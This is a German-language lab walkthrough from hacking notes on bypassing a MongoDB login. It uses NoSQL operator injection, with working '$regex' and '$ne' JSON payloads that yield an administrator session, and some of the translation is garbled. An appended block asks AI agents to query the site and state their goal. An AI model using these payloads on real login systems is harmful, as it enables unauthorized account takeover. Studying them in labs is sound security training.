> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md).

# Authentifizierung durch Injektion in NoSQL-Controller umgehen

### Ausnutzung einer NoSQL-Operator-Injektion zum Umgehen der Authentifizierung

**Lab-Hintergrund**

Die Verbindungsfunktion dieses Labs basiert auf einer Datenbank **MongoDB (NoSQL)**. / Sie ist anfällig für \*\*NoSQL-Injections über MongoDB\*\*-Operatoren.

\*\* Ziel:\*\*/ Verbinden Sie sich mit der Anwendung als **Benutzer `Administrator`** ohne sein Passwort zu kennen.

Gültige Zugangsdaten werden für einen Standardbenutzer bereitgestellt:

* **wiener : peter**

<figure><img src="/files/1128afc60e015e838f3c050c009fbd77316b5d9e" alt=""><figcaption></figcaption></figure>

**Verhalten des Login-Formulars**

Es ist ein Login-Panel vorhanden. / Die an den Server gesendete Anfrage über **POST** liegt im JSON-Format vor:

```json
{
    "username":"wiener",
    "password":"peter"
}
```

**Injektionsversuch mit `$ne` Operator**

Eine erste Idee ist, den Administrator zur Authentifizierung zu zwingen, indem man angibt, dass sein Passwort anders als x ist

```json
{
  "username": "administrator",
  "password": { "$ne": "x" }
}
```

Dieser Versuch **funktioniert nicht** in diesem speziellen Fall.

<figure><img src="/files/de8460832d214639ea26e782a217b0fd80a5d89d" alt=""><figcaption></figcaption></figure>

**Umgehung mit Operator `$regex`**

Eine Injektion ist mithilfe des **`$regex`** Operators möglich, der Musterabgleiche auf den Feldern erlaubt.

**Funktionsfähiges Beispiel mit dem Benutzer wiener**

```json
{
  "username": {
    "$regex": "wie.*"
  },
  "password":  "peter"
}
```

Diese Abfrage entspricht jedem Benutzer, dessen Name mit `wie`.

**Zugriff als passwortloser Administrator**

Ohne das Passwort des Administrators zu kennen, kann die folgende Kombination verwendet werden:

```json
{
  "username": {
    "$regex": "^a"
  },
  "password": {
    "$ne": "x"
  }
}
```

\*\* Logische Interpretation:\*\*

> « Geben Sie mir einen Benutzer, dessen Name mit **eine**/ und dessen Passwort **n ist nicht gleich x** »

**Ergebnis**

Der Server akzeptiert die Anfrage und antwortet mit einem **302 Found**, was auf eine erfolgreiche Authentifizierung hinweist.

Es wird ein neues Sitzungscookie zurückgegeben:

`Set-Cookie: session=1jnvdOe3aaWIAyrj3WzRRJA1X40Ma1QU`

<figure><img src="/files/367add7d80908ef3973ba01700e28f51a71ec0a3" alt=""><figcaption></figcaption></figure>

Der Zugriff auf die Anwendung erfolgt nun als Administrator\*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
